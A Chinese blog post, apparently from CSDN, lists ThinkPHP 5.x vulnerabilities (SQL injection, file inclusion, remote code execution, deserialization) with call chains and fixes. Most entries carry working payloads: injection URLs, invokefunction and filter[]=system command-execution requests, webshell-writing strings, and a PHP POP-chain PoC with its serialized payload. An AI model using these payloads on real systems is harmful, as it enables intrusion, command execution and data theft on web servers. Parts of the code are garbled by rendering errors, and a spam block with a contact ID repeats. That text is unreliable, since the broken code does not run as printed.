ThinkPHP 系列漏洞_thinkphp漏洞,2024年最新2024年网络安全社招面试题-程序员宅基地

技术标签: 2024年程序员学习  web安全  安全  

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

Request::get() =>

Request::input() =>

Query::where() =>

Builder::select() =>

Builder::buildWhere() =>

Builder::parseWhereItem():当 sql 操作符等于 exp 时,用户数据直接拼接进入 SQL语句


![](https://img-blog.csdnimg.cn/5f6b24a9a09249e1b6d559aecf57bdf9.png)


漏洞利用:



http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)

#(thinkphp需开启 app_debug)


漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤



### 4、 thinkphp5 SQL注入4


漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 


攻击链:



payload =>

Request::input() =>

filterValue() =>

Mysql::select() =>

Builder::select() :对sql 语句模板进行变量填充

=> Builder::buildWhere()

=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制


![](https://img-blog.csdnimg.cn/4c613092c2854a3d8e323c59e009de12.png)


漏洞利用:



http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()


漏洞修复:在 filterValue 中过滤 NOT LIKE



### 5、 thinkphp5 sql注入5


漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22


攻击链:



payload =>

Request::input() =>

filterCalue():过滤函数未对数组的键进行过滤

=> Query::order()

=> Query::find()

=> Connection::find()

=> Builder::select()

=> str_replace() :将数据填充到SQL模板语句

=> Builder::parseOrder()

=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串


![](https://img-blog.csdnimg.cn/b721b48e68134998ad0fae2958ef536d.png)


漏洞利用:



http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1


漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号



### 6、 thinkphp5 sql注入6


漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。


漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。


攻击链:



payload =>

Query::max() =>

Query::aggregate() =>

Connection::aggregate() =>

Connection::parseKey() =>

Builder::select() =>

str_replace() =>

Builder::parseField() :直接拼接SQL语句


![](https://img-blog.csdnimg.cn/b699d3596a4649b9a0596932c1549c67.png)


漏洞利用:



http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23


不同版本 payload 需稍作调整:


 5.0.0~5.0.21 、 5.1.3~5.1.10 :



id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23


5.1.11~5.1.25 :



id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`


漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常



###  7、thinkphp5 文件包含漏洞


漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。



public function read($cacheFile, $vars = [])
{
$this->cacheFile = c a c h e F i l e ; i f ( ! e m p t y ( cacheFile; if (!empty( cacheFile;if(!empty(vars) && is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(vars[‘cacheFile’])){
$_think_cacheFile = $cacheFile;
$cacheFile = v a r s [ ′ c a c h e F i l e ′ ] ; u n s e t ( vars['cacheFile']; unset( vars[cacheFile];unset(vars[‘cacheFile’], v a r s [ t ′ h i n k c a c h e F i l e ′ ] ) ; e x t r a c t ( vars['_think_cacheFile']); extract( vars[thinkcacheFile]);extract(vars, EXTR_OVERWRITE);
include KaTeX parse error: Expected 'EOF', got '}' at position 47: …eturn; }̲ extrac…vars);
extract($vars, EXTR_OVERWRITE);
}
// 载入模板缓存文件
include $cacheFile;
include $this->cacheFile;
}


漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10


攻击链:



payload =>

Controller::assign() =>

think\View类 data属性 =>

View::fetch() =>

File::read() =>

extract() =>

extract( c a c h e F i l e ) :用户数据覆盖 cacheFile) :用户数据覆盖 cacheFile):用户数据覆盖cacheFile 变量的值

=> include($cacheFile):文件包含


漏洞利用:


创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。


官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。



### 8、ThinkPHP5 RCE 1


漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。


漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 


攻击链:


payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件


文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,则缓存文件还将多一个上级目录。


![](https://img-blog.csdnimg.cn/96af14a3b0d7481c9105490574b7b4ee.png)


![](https://img-blog.csdnimg.cn/deaf5b9a489140859e4894728d21045d.png)


漏洞利用:



http://localhost/tpdemo/public/?username=username123%0d%0a@eval($GET[]); 
// 将 webshell 写入缓存文件。


官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。



### 9、ThinkPHP5 RCE 2


漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。


漏洞成因:


 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。


vulnerable url:



http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd


两种漏洞利用:


1)所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call\_user\_func()


攻击链:payload => Request::input() => filterValue() => call\_user\_func() => rce


2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce


攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce


![](https://img-blog.csdnimg.cn/c2a92c5da8494e368e64123759116546.png)


不同版本 payload :


5.1.x :



?s=index/\think\Request/input&filter[]=system&data=pwd

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


5.0.x :



?s=index/think\config/get&name=database.username # 获取配置信息

?s=index/\think\Lang/load&file=…/…/test.jpg    # 包含任意文件

?s=index/\think\Config/load&file=…/…/t.php     # 包含任意.php文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


漏洞修复:


5.1.x:thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法,解析控制器后加上过滤


5.0.x:thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤



if (!preg_match(‘/1(\w|.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);

}



### 10、ThinkPHP5 rce3


漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。


漏洞成因:


 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。同时,用户可以通 $\_POST 数组传递请求方法 $method 的值,而且在获取之后没有进行任何检查,thinkphp直接把它作为 Request 类的方法进行调用,相当于可以随意调用 Request 类的部分方法。同时,Request 类的 \_\_construct 方法中存在类属性覆盖的功能。



1)当框架在配置文件中开启了 debug 模式( 'app\_debug'=> true )


程序会调用 Request 类的 param 方法,因此可以覆盖原来的方法,转而调用Request::input(),进而调用call\_user\_func()函数。


![](https://img-blog.csdnimg.cn/edb32cd3cb0e4c6f890a8da4dfc0b562.png)



攻击链:


payload => $\_POST => Request::$method => Request::param() => 


Request::method() => Request::server() => 


Request::input() => filterValue() => call\_user\_func() => rce



2)为开启 debug 模式


在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行漏洞。



路由方式:‘\完整的命名空间类@动态方法’

\think\Route::get(‘captcha/[:id]’, “\think\captcha\CaptchaController@index”)


![](https://img-blog.csdnimg.cn/2a65371a103f40b6a99414205a0d70ea.png)


![](https://img-blog.csdnimg.cn/01694313e8ed4718bbdc40c30e1942e2.png)


攻击链:


payload => $\_GET => $route => Route::parseRule(..., $result, ...) => 


Dispatch::run() => exec($dispatche['type'], ...) => Request::$method  => 


Request::param() => Request::method() => Request::server() => 


Request::input() => filterValue() => call\_user\_func() => rce



漏洞利用:


ThinkPHP <= 5.0.13



POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system


ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app\_debug



POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al


ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha



POST /?s=xxx HTTP/1.1

_method=__construct&filter[]=system&method=get&get[]=ls±al

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls


漏洞修复:同上,同时限制Request中可控的请求方法



### 11、ThinkPHP 5.0.X 反序列化漏洞


漏洞成因:


\think\cache\driver\File::set() 方法可以写入文件,且文件名及文件内容可控,导致可以写入webshell。


在 think\process\pipes\Windows 类的 \_\_destruct 方法中,存在一个删除文件功能,此处的文件名 $filename 变量是可控。若将一个类赋值给 $filename 变量,则在 file\_exists($filename) 的时候,会触发这个类的 \_\_toString 方法。因为 file\_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 \_\_toString 方法,将其转换成字符串,然后再判断。Output 类中,\_\_call 方法内存在 call\_user\_func\_array 函数,通过调用不存在的方法,即可触发 \_\_call 方法,调用 call\_user\_func\_array(array (任意类,任意方法), $args),执行任意方法,据此可以调用写文件的函数。


getCacheKey() 方法中的 $this->options['path'] 可控,因此 $filename 可控,可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法,且文件内容 $value 通过 $name(文件名)赋值,可以在文件名中写入 webshell,进而写入 php 文件。



php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>


![](https://img-blog.csdnimg.cn/9c8fef889d2e4f9d8b33b0e91ab21fc6.png)


![](https://img-blog.csdnimg.cn/b8ef0802dce54391bdde6a5aded7844f.png)


  
 POP链:



think\process\pipes\Windows::__destruct() =>

Windows::removeFiles() => file_exists() =>

Model::toJson() => Model::toArray() =>

Loader::parseName() => t h i s − > this-> this>relation() =>

think\Model::getError() =>  getRelationData() =>

$value => i t e m [ item[ item[key] = $value ? v a l u e − > g e t A t t r ( value->getAttr( value>getAttr(attr) : null //进行判断时,需要通过toArray()将getAttr($attr)进行数据类型转换,Output类中不存在toArray()方法,触发 think\console\Output::__call()调用不存在的方法

=> think\console\Output::__call()=>

call_user_func_array(array(任意类,任意方法),$args) =>

$this->handle->write() => think\console\Output::write() =>

think\session\driver\Memcached::write() => think\cache\driver\File:set() =>

File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell


漏洞利用:


webshell 的写入路径为:网站根目录 /public/static/<?cuc cucvasb();?>md5(‘tag\_’+md5($tag)),访问 webshell 时要对文件名进行 URL 编码


Poc:



<?php //File类 namespace think\cache\driver; class File { // tag变量跟文件名有关 protected $tag='abcdef'; protected $options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', // 写入文件 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',
    // 创建子目录
    /* 'path' => './static/3a6c45/', */ 
    'data_compress' => false, 
]; 

}

//Memcached类
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler = null;
function __construct() {
$this->handler=new File();
}
}

//Output类
namespace think\console;
use think\session\driver\Memcached;
class Output {
protected $styles = [‘removeWhereField’];
private $handle = null;
function __construct() {
$this->handle=new Memcached();
}
}

//HasOne类
namespace think\model\relation;
use think\console\Output;
class HasOne {
protected $query = false;
function __construct() {
$this->query=new Output();
}
}

//Pivot类
namespace think\model;
use think\model\relation\HasOne;
class Pivot {
protected $append = [‘getError’];
protected $error = false;
public function __construct() {
$this->error=new HasOne();
}
}

//Windows类
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

x = n e w W i n d o w s ( ) ; e c h o s t r r e p l a c e ( ′ + ′ , ′ x=new Windows(); echo str_replace('+', '%20', urlencode(serialize( x=newWindows();echostrreplace(+,x)));

// 生成的payload:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22abcdef%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D.%2Fstatic%2F%3C%3Fcuc%20cucvasb%28%29%3B%3F%3E%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D


漏洞修复:


1)修改removeFiles方法



private function removeFiles(){
foreach ($this->files as KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(is_object(filename)){
continue;
}
if (file_exists(KaTeX parse error: Expected '}', got 'EOF' at end of input: … @unlink(filename);
}
}
$this->files = [];
}


2)在Windows.php中添加两个方法



public function __sleep(){
    throw new Exception('Cannot serialize '.CLASS);
}

public function __wakeup(){
    throw new Exception('Cannot unserialize '.CLASS);
}



### 12、ThinkPHP5.1.X反序列化命令执行漏洞


漏洞成因:


此漏洞的 pop 链入口类似于 5.0.x 反序列化漏洞的 pop 链入口,都是通过\think\process\pipes\Windows::\_\_destruct()。Request 类中的 input 方法,调用了call\_user\_func(),可以通过构造 pop 链进行 rce。


![](https://img-blog.csdnimg.cn/59c21251a0024358b445fb8d3a6cf57b.png)




### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限,仅展示部分资料


网络安全面试题


![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/88ddec5417c6be1a43edaabff2105ade.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-rXPBv3Ve-1713179060390)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**


  1. A-Za-z

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_55025322/article/details/137791827

智能推荐

攻防世界_难度8_happy_puzzle_攻防世界困难模式攻略图文-程序员宅基地

文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文

达梦数据库的导出(备份)、导入_达梦数据库导入导出-程序员宅基地

文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作  导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释:   cwy_init/init_123..._达梦数据库导入导出

js引入kindeditor富文本编辑器的使用_kindeditor.js-程序员宅基地

文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js

STM32学习过程记录11——基于STM32G431CBU6硬件SPI+DMA的高效WS2812B控制方法-程序员宅基地

文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6

计算机网络-数据链路层_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输

软件测试工程师移民加拿大_无证移民,未受过软件工程师的教育(第1部分)-程序员宅基地

文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...

随便推点

Thinkpad X250 secure boot failed 启动失败问题解决_安装完系统提示secureboot failure-程序员宅基地

文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure

C++如何做字符串分割(5种方法)_c++ 字符串分割-程序员宅基地

文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割

2013第四届蓝桥杯 C/C++本科A组 真题答案解析_2013年第四届c a组蓝桥杯省赛真题解答-程序员宅基地

文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答

基于供需算法优化的核极限学习机(KELM)分类算法-程序员宅基地

文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。

metasploitable2渗透测试_metasploitable2怎么进入-程序员宅基地

文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入

Python学习之路:从入门到精通的指南_python人工智能开发从入门到精通pdf-程序员宅基地

文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf

推荐文章

热门文章

相关标签